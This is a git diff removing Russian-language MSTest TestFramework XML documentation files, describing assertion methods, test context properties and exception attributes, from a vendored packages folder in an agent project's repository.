- Имя элемента - Дополнительные атрибуты вызова - Аргументы для вызова - Язык и региональные параметры - Результат вызова - - - - Предоставляет обнаружение сигнатуры методов для универсальных методов. - - - - - Сравнивает сигнатуры двух этих методов. - - Method1 - Method2 - Значение true, если они одинаковые. - - - - Получает значение глубины иерархии из базового типа предоставленного типа. - - Тип. - Глубина. - - - - Находит самый производный тип с указанной информацией. - - Потенциальные совпадения. - Число совпадений. - Самый производный метод. - - - - Выбор метода на основе массива типов с учетом набора методов, соответствующих базовым условиям. - Если методов, соответствующих условиям, нет, - метод должен возвращать NULL. - - Спецификация привязки. - Потенциальные совпадения - Типы - Модификаторы параметров. - Метод сопоставления. Значение NULL при отсутствии совпадений. - - - - Находит наиболее точный метод из двух предоставленных. - - Метод 1 - Порядок параметров для метода 1 - Тип массива параметров. - Метод 2 - Порядок параметров для метода 2 - >Тип массива параметров. - Типы для поиска. - Аргументы - Значение int, представляющее совпадение. - - - - Находит наиболее точный метод из двух предоставленных. - - Метод 1 - Порядок параметров для метода 1 - Тип массива параметров. - Метод 2 - Порядок параметров для метода 2 - >Тип массива параметров. - Типы для поиска. - Аргументы - Значение int, представляющее совпадение. - - - - Находит наиболее конкретный тип из двух предоставленных. - - Тип 1 - Тип 2 - Определяющий тип - Значение int, представляющее совпадение. - - - - Используется для хранения данных, предоставляемых модульным тестам. - - - - - Получает свойства теста. - - - - - Возвращает текущую строку данных, когда тест используется для тестирования, управляемого данными. - - - - - Возвращает текущую строку подключения к данным, когда тест используется для тестирования, управляемого данными. - - - - - Возвращает базовый каталог для тестового запуска, в котором хранятся развернутые файлы и файлы результатов. - - - - - Получает каталог для файлов, развернутых для тестового запуска. Обычно это подкаталог . - - - - - Получает базовый каталог для результатов тестового запуска. Обычно это подкаталог . - - - - - Получает каталог для файлов результата теста. Обычно это подкаталог . - - - - - Возвращает каталог для файлов результатов теста. - - - - - Получает базовый каталог для тестового запуска, в котором хранятся развернутые файлы и файлы результатов. - То же, что и . Следует использовать это свойство. - - - - - Получает каталог для файлов, развернутых для тестового запуска. Обычто это подкаталог . - То же, что и . Следует использовать это свойство. - - - - - Получает каталог для файлов результата тестового запуска. Обычно это подкаталог . - То же, что и . Используйте это свойство для файлов результата тестового запуска или - для файлов результата определенного теста. - - - - - Возвращает полное имя класса, содержащего используемый сейчас метод теста - - - - - Возвращает имя метода теста, выполняемого в данный момент - - - - - Получает текущий результат теста. - - - - - Используется для записи сообщений трассировки во время теста - - отформатированная строка сообщения - - - - Используется для записи сообщений трассировки во время теста - - строка формата - аргументы - - - - Добавляет имя файла в список TestResult.ResultFileNames - - - Имя файла. - - - - - Запускает таймер с указанным именем - - Имя таймера. - - - - Останавливает таймер с указанным именем - - Имя таймера. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index f278594a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4202 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod для выполнения. - - - - - Получает имя метода теста. - - - - - Получает имя тестового класса. - - - - - Получает тип возвращаемого значения метода теста. - - - - - Получает параметры метода теста. - - - - - Получает methodInfo для метода теста. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Вызывает метод теста. - - - Аргументы, передаваемые методу теста (например, для управляемых данными тестов). - - - Результат вызова метода теста. - - - This call handles asynchronous test methods as well. - - - - - Получить все атрибуты метода теста. - - - Допустим ли атрибут, определенный в родительском классе. - - - Все атрибуты. - - - - - Получить атрибут указанного типа. - - System.Attribute type. - - Допустим ли атрибут, определенный в родительском классе. - - - Атрибуты указанного типа. - - - - - Вспомогательный метод. - - - - - Параметр проверки не имеет значения NULL. - - - Параметр. - - - Имя параметра. - - - Сообщение. - - Throws argument null exception when parameter is null. - - - - Параметр проверки не равен NULL или не пуст. - - - Параметр. - - - Имя параметра. - - - Сообщение. - - Throws ArgumentException when parameter is null. - - - - Перечисление, описывающее способ доступа к строкам данных в тестах, управляемых данными. - - - - - Строки возвращаются в последовательном порядке. - - - - - Строки возвращаются в случайном порядке. - - - - - Атрибут для определения встроенных данных для метода теста. - - - - - Инициализирует новый экземпляр класса . - - Объект данных. - - - - Инициализирует новый экземпляр класса , принимающий массив аргументов. - - Объект данных. - Дополнительные данные. - - - - Получает данные для вызова метода теста. - - - - - Получает или задает отображаемое имя в результатах теста для настройки. - - - - - Исключение утверждения с неопределенным результатом. - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Инициализирует новый экземпляр класса . - - - - - Класс InternalTestFailureException. Используется для указания внутреннего сбоя для тестового случая - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Инициализирует новый экземпляр класса . - - Сообщение об исключении. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение об исключении. - - - - Инициализирует новый экземпляр класса . - - - - - Атрибут, который указывает, что ожидается исключение указанного типа - - - - - Инициализирует новый экземпляр класса ожидаемого типа - - Тип ожидаемого исключения - - - - Инициализирует новый экземпляр класса - ожидаемого типа c сообщением для включения, когда тест не создает исключение. - - Тип ожидаемого исключения - - Сообщение для включения в результат теста, если тест не был пройден из-за того, что не создал исключение - - - - - Получает значение, указывающее тип ожидаемого исключения - - - - - Получает или задает значение, которое означает, являются ли ожидаемыми типы, производные - от типа ожидаемого исключения - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Проверяет, является ли ожидаемым тип исключения, созданного модульным тестом - - Исключение, созданное модульным тестом - - - - Базовый класс для атрибутов, которые указывают ожидать исключения из модульного теста - - - - - Инициализирует новый экземпляр класса с сообщением об отсутствии исключений по умолчанию - - - - - Инициализирует новый экземпляр класса с сообщением об отсутствии исключений - - - Сообщение для включения в результат теста, если тест не был пройден из-за того, что не создал - исключение - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Получает сообщение по умолчанию об отсутствии исключений - - Название типа для атрибута ExpectedException - Сообщение об отсутствии исключений по умолчанию - - - - Определяет, ожидается ли исключение. Если метод возвращает управление, то - считается, что ожидалось исключение. Если метод создает исключение, то - считается, что исключение не ожидалось, и сообщение созданного исключения - включается в результат теста. Для удобства можно использовать класс . - Если используется и утверждение завершается с ошибкой, - то результат теста будет неопределенным. - - Исключение, созданное модульным тестом - - - - Повторно создать исключение при возникновении исключения AssertFailedException или AssertInconclusiveException - - Исключение, которое необходимо создать повторно, если это исключение утверждения - - - - Этот класс предназначен для пользователей, выполняющих модульное тестирование для универсальных типов. - GenericParameterHelper удовлетворяет некоторым распространенным ограничениям для универсальных типов, - например. - 1. Открытый конструктор по умолчанию - 2. Реализует общий интерфейс: IComparable, IEnumerable - - - - - Инициализирует новый экземпляр класса , который - удовлетворяет ограничению newable в универсальных типах C#. - - - This constructor initializes the Data property to a random value. - - - - - Инициализирует новый экземпляр класса , который - инициализирует свойство Data в указанное пользователем значение. - - Любое целочисленное значение - - - - Получает или задает данные - - - - - Сравнить значения двух объектов GenericParameterHelper - - объект, с которым будет выполнено сравнение - True, если obj имеет то же значение, что и объект "this" GenericParameterHelper. - В противном случае False. - - - - Возвращает хэш-код для этого объекта. - - Хэш-код. - - - - Сравнивает данные двух объектов . - - Объект для сравнения. - - Число со знаком, указывающее относительные значения этого экземпляра и значения. - - - Thrown when the object passed in is not an instance of . - - - - - Возвращает объект IEnumerator, длина которого является производной - от свойства Data. - - Объект IEnumerator - - - - Возвращает объект GenericParameterHelper, равный - текущему объекту. - - Клонированный объект. - - - - Позволяет пользователям регистрировать/записывать трассировки от модульных тестов для диагностики. - - - - - Обработчик LogMessage. - - Сообщение для записи в журнал. - - - - Прослушиваемое событие. Возникает, когда средство записи модульных тестов записывает сообщение. - Главным образом используется адаптером. - - - - - API, при помощи которого средство записи теста будет обращаться к сообщениям журнала. - - Строка формата с заполнителями. - Параметры для заполнителей. - - - - Атрибут TestCategory; используется для указания категории модульного теста. - - - - - Инициализирует новый экземпляр класса и применяет категорию к тесту. - - - Категория теста. - - - - - Возвращает или задает категории теста, которые были применены к тесту. - - - - - Базовый класс для атрибута Category - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Инициализирует новый экземпляр класса . - Применяет к тесту категорию. Строки, возвращаемые TestCategories , - используются с командой /category для фильтрации тестов - - - - - Возвращает или задает категорию теста, которая была применена к тесту. - - - - - Класс AssertFailedException. Используется для указания сбоя тестового случая - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Инициализирует новый экземпляр класса . - - - - - Коллекция вспомогательных классов для тестирования различных условий в - модульных тестах. Если проверяемое условие - ложно, создается исключение. - - - - - Получает одноэлементный экземпляр функции Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение False. Сообщение отображается в результатах теста. - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение False. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Thrown if is true. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение True. Сообщение отображается в результатах теста. - - - Thrown if is true. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение True. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is true. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение, отличное от NULL. Сообщение отображается в результатах теста. - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение, отличное от NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Thrown if is null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение NULL. Сообщение отображается в результатах теста. - - - Thrown if is null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is null. - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается - в результатах тестирования. - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается - в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Thrown if refers to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if refers to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if refers to the same object - as . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Thrown if is not equal to . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Thrown if is not equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет, равны ли указанные строки, и создает исключение, - если они не равны. При сравнении используются инвариантный язык и региональные параметры. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет указанные строки на равенство и создает исключение, - если они не равны. - - - Первая сравниваемая строка. Это — ожидаемая тестом строка. - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Thrown if is equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет строки на неравенство и создает исключение, - если они равны. При сравнении используются инвариантные язык и региональные параметры. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - Логический параметр, означающий сравнение с учетом или без учета регистра. (True - означает сравнение с учетом регистра.) - - - Объект CultureInfo, содержащий данные о языке и региональных стандартах, которые используются при сравнении. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные строки на неравенство и создает исключение, - если они равны. - - - Первая сравниваемая строка. Эта строка не должна с точки зрения теста - соответствовать . - - - Вторая сравниваемая строка. Это — строка, созданная тестируемым кодом. - - - 